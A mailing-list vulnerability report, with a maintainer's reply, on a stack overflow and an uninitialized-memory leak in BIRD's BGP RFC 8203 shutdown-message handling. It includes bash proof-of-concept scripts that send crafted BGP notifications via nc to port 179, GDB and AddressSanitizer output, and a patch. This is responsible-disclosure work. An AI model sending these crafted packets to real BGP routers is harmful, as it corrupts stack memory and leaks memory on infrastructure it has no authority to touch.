Stack overflow in RFC 8203 BGP admin. shutdown comm. handling since 7ff34ca2
Hi there, I believe a stack overflow was introduced in the BGP protocol support of BIRD in 7ff34ca2[1] that allows a BGP peer to corrupt stack memory via crafted RFC 8203[0] BGP administrative shutdown communication message. Leading with the best news, it looks like 7ff34ca2 hasn't been included in a release yet :-) I didn't realize the bug was limited to this commit until the very end of my analysis so I hope you'll indulge me in my detailed writeup. It was as much to convince myself I wasn't wrong about my understanding as it was to help make the fix easier. I've included a patch with a fix at the very end. While I believe 7ff34ca2 introduced the ability to overflow a stack buffer it seems to me the original RFC 8203 support hasn't been correctly verifying shutdown communication `msg_len` since support was added in BIRD 2 versions >= 2.0.0 and BIRD 1 versions >= 1.6.4. Details to follow. [0]: https://tools.ietf.org/html/rfc8203 [1]: https://gitlab.labs.nic.cz/labs/bird/commit/7ff34ca2cb86f3947bf049f73e76e6ce... # Details When BIRD receives a BGP packet with type 0x03 (`PKT_NOTIFICATION`) the packet will make its way through the `bgp_rx`, `bgp_rx_packet`, and `bgp_rx_notification` functions before being given to the `bgp_log_error` function of `proto/bgp/packets.c`. The `bgp_log_error` function allocates a fixed sized buffer on the stack (`argbuf`), and a pointer to the start of the buffer (`t`): ```c byte argbuf[256], *t = argbuf; ``` If the notification packet has major error code 0x06 (Cease), and minor error code 0x02 or 0x04 (Administrative Shutdown or Administrative Reset) then `bgp_log_error` invokes `bgp_handle_message` to handle the notification as a RFC 8203 shutdown communication. The `bgp_handle_message` function is provided as arguments the notification packet data and the `t` pointer to `argbuf`. ```c /* RFC 8203 - shutdown communication */ if (((code == 6) && ((subcode == 2) || (subcode == 4)))) if (bgp_handle_message(p, data, len, &t)) goto done; ``` The `bgp_handle_message` function attempts to verify that the packet data and message data are properly sized by checking `msg_len` (populated from the RFC 8203 shutdown communication length field) and `len` (the overall read packet length): ```c /* Handle proper message */ if ((msg_len > 255) && (msg_len + 1 > len)) return 0; ``` In BIRD revision 7ff34ca2 the first part of the expression was changed to: ```c (msg_len > 255) ``` Where it was previously: ```c (msg_len > 128) ``` This turns out to have been important for the scope of this bug because `argbuf` is `256` bytes. Later, post-verification the message is saved to the `bgp_proto` struct's `message` field `using `proto_set_message`, and then written to `*bp` with `bsprintf`. ```c proto_set_message(&p->p, msg, msg_len); *bp += bsprintf(*bp, ": \"%s\"", p->p.message); return 1; ``` Unfortunately the expression in the defensive "Handle proper message" check is incorrect in two ways. First, if `msg_len + 1` is > `len` but <= 255 then the defensive expression will short-circuit as false and execution continues. This results in the `proto_set_message` buffer being sized equal to `msg_len` but only filed with `len` bytes (which may be 0) of provided message data. The unaccounted for message bytes will contain uninitialized memory contents that will be written to the log as part of the RFC 8203 shutdown communication. Second, and more crucially, the `msg_len > 255` calculation fails to account for the 4 extra bytes that will be written by the `bsprintf` formatting expression. E.g. there will be three bytes that precede the `msg_len` message bytes (`: "`) and one byte that follows them (`"`). The `bsprintf` function from `lib/printf.c` specifically warns that without care its use can result in buffer overflows: ```c /** * This function is equivalent to bvsnprintf() with an infinite * buffer size and variable arguments instead of a &va_list. * Please use carefully only when you are absolutely * sure the buffer won't overflow. */ ``` And indeed because of the miscalculation in `bgp_handle_message` a notification message with `msg_len` >= 252 bytes and < 256 will cause `bsprintf` to overflow the fixed size `argbuf` buffer that is the target of the `bsprintf` write. Sending a RFC 8203 shutdown communication notification that has a message length of `0xFF` (255) will result in four bytes being written past the end of the `argbuf` buffer into adjacent stack memory by the `bsprintf` invocation in `bgp_handle_message`, two of them are attacker controlled and two are not (a `"` from the end of the format specifier and a null byte added by `bgp_log_error` after `bgp_handle_message` returns non-zero). ## RFC 8203-bis vs RFC 8203 Initially BIRD 2.0.0 and 1.6.4 added support for RFC 8203 as written. Section 2 of that RFC describes the shutdown communication packet fields saying of the length:
The length value MUST range from 0 to 128 inclusive. When the length value is zero, no Shutdown Communication field follows.
An update to RFC 8203, RFC 8203-bis updates the description of the length field saying:
Length: this 8-bit field represents the length of the Shutdown Communication field in octets. When the length value is zero, no Shutdown Communication field follows.
When the maximum `msg_len` allowed by BIRD was 128 it wasn't possible to run past the end of the `argbuf` buffer. When the maximum allowed `msg_len` was changed to 255 to support RFC 8203 the overflow becomes possible. # Reproduction ## Memory leaked to log Reproducing the leak of raw unitialized memory to the log file can be done by sending an RFC 8203 shutdown notification with a large communication length (`msg_len`) and no communication message to a BIRD instance with BGP support configured to peer with the sending machine (e.g. one that will process the BGP message without producing a "Unexpected connect from unknown address" error). The peer does not have to be in an established state. ```bash BGP_MARKER="\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" LEN="\x00\x16" # 22 bytes (must be >= 22 or it will be rejected by `bgp_rx_notification` or `bgp_handle_message` as being too short TYPE="\x03" # NOTIFICATION type MAJOR_ERR="\x06" # Cease major error MINOR_ERR="\x02" # Admin shutdown minor error COMM_LEN="\xFF" # 255 bytes, maximum allowed value for the one octet size field # NOTE: Crucially the PKT does NOT have a message! It should have a 255 byte # message but that has been deliberately omitted. PKT="$BGP_MARKER\ $LEN$TYPE\ $MAJOR_ERR\ $MINOR_ERR\ $COMM_LEN" printf "$PKT" | nc <BIRD IP> 179 >/dev/null ``` In the BIRD logs this will result in something like: 2019-09-08 16:58:03.023 <RMT> egpeer: Received: Administrative shutdown: "¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾" The content of the message will differ based on the runtime state of the BIRD instance. In the above case it appears to be stack memory produced from building with `-fsanitize=address`. To reproduce against a version of BIRD >2.0.0 or >1.6.4 but older than 7ff34ca2 the `COMM_LEN` must be changed to be <= 128 bytes. I don't believe this has security impact but someone more clever than me may be able to find a way to use this to avoid the sanitization of low ASCII characters (e.g. newlines, terminal control sequences, etc) in `bgp_handle_message`. I mostly mention it because it's definitely buggy behaviour. ## Stack overflow Reproducing the stack overflow can be done by sending an RFC 8203 shutdown notification with a communication length (`msg_len`) and message > 252 bytes to a BIRD instance with BGP support configured to peer with the sending machine (e.g. one that will process the BGP message without producing a "Unexpected connect from unknown address" error). The peer does not have to be in an established state. ```bash BGP_MARKER="\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" LEN="\x00\x16" # 22 bytes (must be >= 22 or it will be rejected by `bgp_rx_notification` or `bgp_handle_message` as being too short TYPE="\x03" # NOTIFICATION MAJOR_ERR="\x06" # Cease major error MINOR_ERR="\x02" # Admin shutdown minor error COMM_LEN="\xFF" # 255 bytes COMM=$(printf 'a%.0s' {1..253}) # 253 bytes of "a" to fill the true available argbuf size COMM="${COMM}!!" # two bytes of attacker controlled data to be written past the end of argbuf PKT="$BGP_MARKER\ $LEN$TYPE\ $MAJOR_ERR\ $MINOR_ERR\ $COMM_LEN\ $COMM" printf "$PKT" | nc <BIRD IP> 179 >/dev/null ``` In practice I find the stack overflow does not impact the availability of the BIRD instance when built with normal settings. I confirmed the overflow two ways: with `gdb` and by building BIRD with `-fsanitize=address`. ### GDB verification To verify the overflow I set a breakpoint in `bgp_handle_message` on L2971 (the `bsprintf` call) and checked the memory at the end of the `argbuf` buffer before and after the `bsprintf` call when processing the reproduction packet from above. 2971 *bp += bsprintf(*bp, ": \"%s\"", p->p.message); (gdb) x/6xb *bp +255 0x7fffffffdd2f: 0x00 0x60 0x09 0x6e 0x00 0x00 (gdb) n 2972 return 1; (gdb) x/6xb 0x7fffffffdd30 0x7fffffffdd30: 0x21 0x21 0x22 0x00 0x00 0x00 Before the `bsprintf` call the 6 bytes after the end of `argbuf` (by way of the `*bp` pointer) are: ```c 0x00 0x60 0x09 0x6e 0x00 0x00 ``` If there was no overflow these bytes should remain the same since they are beyond the end of `argbuf`. Instead after stepping forward past the `bsprintf` call 4 of the 6 bytes change: ```c 0x21 0x21 0x22 0x00 0x00 0x00 ``` These bytes match to `!!"\0`, showing the two attacker controlled bytes and the two bytes unconditionally written. ### Address Sanitizer verification It's also possible to quickly verify the overflow by using `CFLAGS=-fsanitize=address LDFLAGS=-fsanitize=address` with `./configure` prior to building BIRD. Sending the reproduction to a BIRD built with ASAN results in an immediate stack overflow detection and program termination: ``` bird-srv_1 | 2019-09-03 18:34:21.166 <TRACE> egpeer: Incoming connection from 10.90.90.3 (port 51270) accepted bird-srv_1 | 2019-09-03 18:34:21.166 <TRACE> egpeer: Sending OPEN(ver=4,as=66666,hold=240,id=0a5a5a02) bird-srv_1 | ================================================================= bird-srv_1 | ==1==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd95afe520 at pc 0x0000004913d4 bp 0x7ffd95afde80 sp 0x7ffd95afde70 bird-srv_1 | WRITE of size 1 at 0x7ffd95afe520 thread T0 bird-srv_1 | #0 0x4913d3 in bvsnprintf lib/printf.c:268 bird-srv_1 | #1 0x4932a9 in bsprintf lib/printf.c:501 bird-srv_1 | #2 0x52f655 in bgp_handle_message proto/bgp/packets.c:2971 bird-srv_1 | #3 0x52f87c in bgp_log_error proto/bgp/packets.c:3000 bird-srv_1 | #4 0x52fc87 in bgp_rx_notification proto/bgp/packets.c:3029 bird-srv_1 | #5 0x5301c2 in bgp_rx_packet proto/bgp/packets.c:3091 bird-srv_1 | #6 0x53040e in bgp_rx proto/bgp/packets.c:3135 bird-srv_1 | #7 0x549432 in call_rx_hook sysdep/unix/io.c:1794 bird-srv_1 | #8 0x549907 in sk_read sysdep/unix/io.c:1882 bird-srv_1 | #9 0x54b8b6 in io_loop sysdep/unix/io.c:2299 bird-srv_1 | #10 0x5576d2 in main sysdep/unix/main.c:919 bird-srv_1 | #11 0x7f91f2f5182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) bird-srv_1 | #12 0x40bb38 in _start (/root/rundir/sbin/bird+0x40bb38) bird-srv_1 | bird-srv_1 | Address 0x7ffd95afe520 is located in stack of thread T0 at offset 352 in frame bird-srv_1 | #0 0x52f6a3 in bgp_log_error proto/bgp/packets.c:2977 bird-srv_1 | bird-srv_1 | This frame has 2 object(s): bird-srv_1 | [32, 40) 't' bird-srv_1 | [96, 352) 'argbuf' <== Memory access at offset 352 overflows this variable bird-srv_1 | HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext bird-srv_1 | (longjmp and C++ exceptions *are* supported) bird-srv_1 | SUMMARY: AddressSanitizer: stack-buffer-overflow lib/printf.c:268 bvsnprintf bird-srv_1 | Shadow bytes around the buggy address: bird-srv_1 | 0x100032b57c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | 0x100032b57c60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | 0x100032b57c70: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 f4 f4 f4 bird-srv_1 | 0x100032b57c80: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | 0x100032b57c90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | =>0x100032b57ca0: 00 00 00 00[f3]f3 f3 f3 f3 f3 f3 f3 00 00 00 00 bird-srv_1 | 0x100032b57cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | 0x100032b57cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | 0x100032b57cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | 0x100032b57ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | 0x100032b57cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | Shadow byte legend (one shadow byte represents 8 application bytes): bird-srv_1 | Addressable: 00 bird-srv_1 | Partially addressable: 01 02 03 04 05 06 07 bird-srv_1 | Heap left redzone: fa bird-srv_1 | Heap right redzone: fb bird-srv_1 | Freed heap region: fd bird-srv_1 | Stack left redzone: f1 bird-srv_1 | Stack mid redzone: f2 bird-srv_1 | Stack right redzone: f3 bird-srv_1 | Stack partial redzone: f4 bird-srv_1 | Stack after return: f5 bird-srv_1 | Stack use after scope: f8 bird-srv_1 | Global redzone: f9 bird-srv_1 | Global init order: f6 bird-srv_1 | Poisoned by user: f7 bird-srv_1 | Container overflow: fc bird-srv_1 | Array cookie: ac bird-srv_1 | Intra object redzone: bb bird-srv_1 | ASan internal: fe bird-srv_1 | ==1==ABORTING ``` The reported stack trace matches the analysis of the `bgp_log_error` and `bgp_handle_message` functions shared above. # Fix I think the correct fix is to change the bounds checking in `bgp_handle_message`. For readability I think it's clearest to break the expression into two: ```diff --- a/proto/bgp/packets.c +++ b/proto/bgp/packets.c @@ -2954,10 +2954,20 @@ bgp_handle_message(struct bgp_proto *p, byte *data, uint len, byte **bp) uint msg_len = data[0]; uint i; + /* Handle only messages that won't overflow *bp (accounting for the extra + * bytes from the `bsprintf` format */ + if (msg_len >= 252) + return 0; + /* Handle zero length message */ if (msg_len == 0) return 1; + /* Handle only messages with a length that does not require reading past the + * end of the received data. */ + if (msg_len < (len - 1)) + return 0; + /* Handle proper message */ if ((msg_len > 255) && (msg_len + 1 > len)) return 0; ``` After applying this fix both the uninitialized memory log write and the stack overflow are prevented and malformed messages are logged defensively. I'm not an especially adept C programmer so YYMV. You folks may have a more elegant/less brittle fix in mind :-)
Oops! Just noticed my patch diff left the original "Handle proper message" code in-place. The corrected diff is: ```diff --- a/proto/bgp/packets.c +++ b/proto/bgp/packets.c @@ -2954,12 +2954,18 @@ bgp_handle_message(struct bgp_proto *p, byte *data, uint len, byte **bp) uint msg_len = data[0]; uint i; + /* Handle only messages that won't overflow *bp (accounting for the extra + * bytes from the `bsprintf` format */ + if (msg_len >= 252) + return 0; + /* Handle zero length message */ if (msg_len == 0) return 1; - /* Handle proper message */ - if ((msg_len > 255) && (msg_len + 1 > len)) + /* Handle only messages with a length that does not require reading past the + * end of the received data. */ + if (msg_len < (len - 1)) return 0; /* Some elementary cleanup */ ``` On Sun, Sep 8, 2019 at 1:59 PM Daniel McCarney <cpu@letsencrypt.org> wrote:
Hi there,
I believe a stack overflow was introduced in the BGP protocol support of BIRD in 7ff34ca2[1] that allows a BGP peer to corrupt stack memory via crafted RFC 8203[0] BGP administrative shutdown communication message.
Leading with the best news, it looks like 7ff34ca2 hasn't been included in a release yet :-) I didn't realize the bug was limited to this commit until the very end of my analysis so I hope you'll indulge me in my detailed writeup. It was as much to convince myself I wasn't wrong about my understanding as it was to help make the fix easier. I've included a patch with a fix at the very end.
While I believe 7ff34ca2 introduced the ability to overflow a stack buffer it seems to me the original RFC 8203 support hasn't been correctly verifying shutdown communication `msg_len` since support was added in BIRD 2 versions >= 2.0.0 and BIRD 1 versions >= 1.6.4. Details to follow.
[0]: https://tools.ietf.org/html/rfc8203 [1]: https://gitlab.labs.nic.cz/labs/bird/commit/7ff34ca2cb86f3947bf049f73e76e6ce...
# Details
When BIRD receives a BGP packet with type 0x03 (`PKT_NOTIFICATION`) the packet will make its way through the `bgp_rx`, `bgp_rx_packet`, and `bgp_rx_notification` functions before being given to the `bgp_log_error` function of `proto/bgp/packets.c`.
The `bgp_log_error` function allocates a fixed sized buffer on the stack (`argbuf`), and a pointer to the start of the buffer (`t`):
```c byte argbuf[256], *t = argbuf; ```
If the notification packet has major error code 0x06 (Cease), and minor error code 0x02 or 0x04 (Administrative Shutdown or Administrative Reset) then `bgp_log_error` invokes `bgp_handle_message` to handle the notification as a RFC 8203 shutdown communication. The `bgp_handle_message` function is provided as arguments the notification packet data and the `t` pointer to `argbuf`.
```c /* RFC 8203 - shutdown communication */ if (((code == 6) && ((subcode == 2) || (subcode == 4)))) if (bgp_handle_message(p, data, len, &t)) goto done; ```
The `bgp_handle_message` function attempts to verify that the packet data and message data are properly sized by checking `msg_len` (populated from the RFC 8203 shutdown communication length field) and `len` (the overall read packet length):
```c /* Handle proper message */ if ((msg_len > 255) && (msg_len + 1 > len)) return 0; ```
In BIRD revision 7ff34ca2 the first part of the expression was changed to:
```c (msg_len > 255) ```
Where it was previously:
```c (msg_len > 128) ```
This turns out to have been important for the scope of this bug because `argbuf` is `256` bytes.
Later, post-verification the message is saved to the `bgp_proto` struct's `message` field `using `proto_set_message`, and then written to `*bp` with `bsprintf`.
```c proto_set_message(&p->p, msg, msg_len); *bp += bsprintf(*bp, ": \"%s\"", p->p.message); return 1; ```
Unfortunately the expression in the defensive "Handle proper message" check is incorrect in two ways.
First, if `msg_len + 1` is > `len` but <= 255 then the defensive expression will short-circuit as false and execution continues. This results in the `proto_set_message` buffer being sized equal to `msg_len` but only filed with `len` bytes (which may be 0) of provided message data. The unaccounted for message bytes will contain uninitialized memory contents that will be written to the log as part of the RFC 8203 shutdown communication.
Second, and more crucially, the `msg_len > 255` calculation fails to account for the 4 extra bytes that will be written by the `bsprintf` formatting expression. E.g. there will be three bytes that precede the `msg_len` message bytes (`: "`) and one byte that follows them (`"`).
The `bsprintf` function from `lib/printf.c` specifically warns that without care its use can result in buffer overflows:
```c /** * This function is equivalent to bvsnprintf() with an infinite * buffer size and variable arguments instead of a &va_list. * Please use carefully only when you are absolutely * sure the buffer won't overflow. */ ```
And indeed because of the miscalculation in `bgp_handle_message` a notification message with `msg_len` >= 252 bytes and < 256 will cause `bsprintf` to overflow the fixed size `argbuf` buffer that is the target of the `bsprintf` write.
Sending a RFC 8203 shutdown communication notification that has a message length of `0xFF` (255) will result in four bytes being written past the end of the `argbuf` buffer into adjacent stack memory by the `bsprintf` invocation in `bgp_handle_message`, two of them are attacker controlled and two are not (a `"` from the end of the format specifier and a null byte added by `bgp_log_error` after `bgp_handle_message` returns non-zero).
## RFC 8203-bis vs RFC 8203
Initially BIRD 2.0.0 and 1.6.4 added support for RFC 8203 as written. Section 2 of that RFC describes the shutdown communication packet fields saying of the length:
The length value MUST range from 0 to 128 inclusive. When the length value is zero, no Shutdown Communication field follows.
An update to RFC 8203, RFC 8203-bis updates the description of the length field saying:
Length: this 8-bit field represents the length of the Shutdown Communication field in octets. When the length value is zero, no Shutdown Communication field follows.
When the maximum `msg_len` allowed by BIRD was 128 it wasn't possible to run past the end of the `argbuf` buffer. When the maximum allowed `msg_len` was changed to 255 to support RFC 8203 the overflow becomes possible.
# Reproduction
## Memory leaked to log
Reproducing the leak of raw unitialized memory to the log file can be done by sending an RFC 8203 shutdown notification with a large communication length (`msg_len`) and no communication message to a BIRD instance with BGP support configured to peer with the sending machine (e.g. one that will process the BGP message without producing a "Unexpected connect from unknown address" error). The peer does not have to be in an established state.
```bash BGP_MARKER="\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" LEN="\x00\x16" # 22 bytes (must be >= 22 or it will be rejected by `bgp_rx_notification` or `bgp_handle_message` as being too short TYPE="\x03" # NOTIFICATION type MAJOR_ERR="\x06" # Cease major error MINOR_ERR="\x02" # Admin shutdown minor error COMM_LEN="\xFF" # 255 bytes, maximum allowed value for the one octet size field
# NOTE: Crucially the PKT does NOT have a message! It should have a 255 byte # message but that has been deliberately omitted. PKT="$BGP_MARKER\ $LEN$TYPE\ $MAJOR_ERR\ $MINOR_ERR\ $COMM_LEN"
printf "$PKT" | nc <BIRD IP> 179 >/dev/null ```
In the BIRD logs this will result in something like:
2019-09-08 16:58:03.023 <RMT> egpeer: Received: Administrative shutdown: "¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾"
The content of the message will differ based on the runtime state of the BIRD instance. In the above case it appears to be stack memory produced from building with `-fsanitize=address`.
To reproduce against a version of BIRD >2.0.0 or >1.6.4 but older than 7ff34ca2 the `COMM_LEN` must be changed to be <= 128 bytes.
I don't believe this has security impact but someone more clever than me may be able to find a way to use this to avoid the sanitization of low ASCII characters (e.g. newlines, terminal control sequences, etc) in `bgp_handle_message`. I mostly mention it because it's definitely buggy behaviour.
## Stack overflow
Reproducing the stack overflow can be done by sending an RFC 8203 shutdown notification with a communication length (`msg_len`) and message > 252 bytes to a BIRD instance with BGP support configured to peer with the sending machine (e.g. one that will process the BGP message without producing a "Unexpected connect from unknown address" error). The peer does not have to be in an established state.
```bash BGP_MARKER="\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" LEN="\x00\x16" # 22 bytes (must be >= 22 or it will be rejected by `bgp_rx_notification` or `bgp_handle_message` as being too short TYPE="\x03" # NOTIFICATION MAJOR_ERR="\x06" # Cease major error MINOR_ERR="\x02" # Admin shutdown minor error COMM_LEN="\xFF" # 255 bytes COMM=$(printf 'a%.0s' {1..253}) # 253 bytes of "a" to fill the true available argbuf size COMM="${COMM}!!" # two bytes of attacker controlled data to be written past the end of argbuf
PKT="$BGP_MARKER\ $LEN$TYPE\ $MAJOR_ERR\ $MINOR_ERR\ $COMM_LEN\ $COMM"
printf "$PKT" | nc <BIRD IP> 179 >/dev/null ```
In practice I find the stack overflow does not impact the availability of the BIRD instance when built with normal settings. I confirmed the overflow two ways: with `gdb` and by building BIRD with `-fsanitize=address`.
### GDB verification
To verify the overflow I set a breakpoint in `bgp_handle_message` on L2971 (the `bsprintf` call) and checked the memory at the end of the `argbuf` buffer before and after the `bsprintf` call when processing the reproduction packet from above.
2971 *bp += bsprintf(*bp, ": \"%s\"", p->p.message); (gdb) x/6xb *bp +255 0x7fffffffdd2f: 0x00 0x60 0x09 0x6e 0x00 0x00 (gdb) n 2972 return 1; (gdb) x/6xb 0x7fffffffdd30 0x7fffffffdd30: 0x21 0x21 0x22 0x00 0x00 0x00
Before the `bsprintf` call the 6 bytes after the end of `argbuf` (by way of the `*bp` pointer) are:
```c 0x00 0x60 0x09 0x6e 0x00 0x00 ```
If there was no overflow these bytes should remain the same since they are beyond the end of `argbuf`. Instead after stepping forward past the `bsprintf` call 4 of the 6 bytes change:
```c 0x21 0x21 0x22 0x00 0x00 0x00 ```
These bytes match to `!!"\0`, showing the two attacker controlled bytes and the two bytes unconditionally written.
### Address Sanitizer verification
It's also possible to quickly verify the overflow by using `CFLAGS=-fsanitize=address LDFLAGS=-fsanitize=address` with `./configure` prior to building BIRD.
Sending the reproduction to a BIRD built with ASAN results in an immediate stack overflow detection and program termination:
``` bird-srv_1 | 2019-09-03 18:34:21.166 <TRACE> egpeer: Incoming connection from 10.90.90.3 (port 51270) accepted bird-srv_1 | 2019-09-03 18:34:21.166 <TRACE> egpeer: Sending OPEN(ver=4,as=66666,hold=240,id=0a5a5a02) bird-srv_1 | ================================================================= bird-srv_1 | ==1==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd95afe520 at pc 0x0000004913d4 bp 0x7ffd95afde80 sp 0x7ffd95afde70 bird-srv_1 | WRITE of size 1 at 0x7ffd95afe520 thread T0 bird-srv_1 | #0 0x4913d3 in bvsnprintf lib/printf.c:268 bird-srv_1 | #1 0x4932a9 in bsprintf lib/printf.c:501 bird-srv_1 | #2 0x52f655 in bgp_handle_message proto/bgp/packets.c:2971 bird-srv_1 | #3 0x52f87c in bgp_log_error proto/bgp/packets.c:3000 bird-srv_1 | #4 0x52fc87 in bgp_rx_notification proto/bgp/packets.c:3029 bird-srv_1 | #5 0x5301c2 in bgp_rx_packet proto/bgp/packets.c:3091 bird-srv_1 | #6 0x53040e in bgp_rx proto/bgp/packets.c:3135 bird-srv_1 | #7 0x549432 in call_rx_hook sysdep/unix/io.c:1794 bird-srv_1 | #8 0x549907 in sk_read sysdep/unix/io.c:1882 bird-srv_1 | #9 0x54b8b6 in io_loop sysdep/unix/io.c:2299 bird-srv_1 | #10 0x5576d2 in main sysdep/unix/main.c:919 bird-srv_1 | #11 0x7f91f2f5182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) bird-srv_1 | #12 0x40bb38 in _start (/root/rundir/sbin/bird+0x40bb38) bird-srv_1 | bird-srv_1 | Address 0x7ffd95afe520 is located in stack of thread T0 at offset 352 in frame bird-srv_1 | #0 0x52f6a3 in bgp_log_error proto/bgp/packets.c:2977 bird-srv_1 | bird-srv_1 | This frame has 2 object(s): bird-srv_1 | [32, 40) 't' bird-srv_1 | [96, 352) 'argbuf' <== Memory access at offset 352 overflows this variable bird-srv_1 | HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext bird-srv_1 | (longjmp and C++ exceptions *are* supported) bird-srv_1 | SUMMARY: AddressSanitizer: stack-buffer-overflow lib/printf.c:268 bvsnprintf bird-srv_1 | Shadow bytes around the buggy address: bird-srv_1 | 0x100032b57c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | 0x100032b57c60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | 0x100032b57c70: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 f4 f4 f4 bird-srv_1 | 0x100032b57c80: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | 0x100032b57c90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | =>0x100032b57ca0: 00 00 00 00[f3]f3 f3 f3 f3 f3 f3 f3 00 00 00 00 bird-srv_1 | 0x100032b57cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | 0x100032b57cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | 0x100032b57cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | 0x100032b57ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | 0x100032b57cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bird-srv_1 | Shadow byte legend (one shadow byte represents 8 application bytes): bird-srv_1 | Addressable: 00 bird-srv_1 | Partially addressable: 01 02 03 04 05 06 07 bird-srv_1 | Heap left redzone: fa bird-srv_1 | Heap right redzone: fb bird-srv_1 | Freed heap region: fd bird-srv_1 | Stack left redzone: f1 bird-srv_1 | Stack mid redzone: f2 bird-srv_1 | Stack right redzone: f3 bird-srv_1 | Stack partial redzone: f4 bird-srv_1 | Stack after return: f5 bird-srv_1 | Stack use after scope: f8 bird-srv_1 | Global redzone: f9 bird-srv_1 | Global init order: f6 bird-srv_1 | Poisoned by user: f7 bird-srv_1 | Container overflow: fc bird-srv_1 | Array cookie: ac bird-srv_1 | Intra object redzone: bb bird-srv_1 | ASan internal: fe bird-srv_1 | ==1==ABORTING ```
The reported stack trace matches the analysis of the `bgp_log_error` and `bgp_handle_message` functions shared above.
# Fix
I think the correct fix is to change the bounds checking in `bgp_handle_message`. For readability I think it's clearest to break the expression into two:
```diff --- a/proto/bgp/packets.c +++ b/proto/bgp/packets.c @@ -2954,10 +2954,20 @@ bgp_handle_message(struct bgp_proto *p, byte *data, uint len, byte **bp) uint msg_len = data[0]; uint i;
+ /* Handle only messages that won't overflow *bp (accounting for the extra + * bytes from the `bsprintf` format */ + if (msg_len >= 252) + return 0; + /* Handle zero length message */ if (msg_len == 0) return 1;
+ /* Handle only messages with a length that does not require reading past the + * end of the received data. */ + if (msg_len < (len - 1)) + return 0; + /* Handle proper message */ if ((msg_len > 255) && (msg_len + 1 > len)) return 0; ```
After applying this fix both the uninitialized memory log write and the stack overflow are prevented and malformed messages are logged defensively.
I'm not an especially adept C programmer so YYMV. You folks may have a more elegant/less brittle fix in mind :-)
On Sun, Sep 08, 2019 at 01:59:03PM -0400, Daniel McCarney wrote:
Hi there,
I believe a stack overflow was introduced in the BGP protocol support of BIRD in 7ff34ca2[1] that allows a BGP peer to corrupt stack memory via crafted RFC 8203[0] BGP administrative shutdown communication message.
Hi Yes, you are right, thanks for detailed writeup.
Leading with the best news, it looks like 7ff34ca2 hasn't been included in a release yet :-)
Unfortunately it has been included in released versions 1.6.7 and 2.0.5.
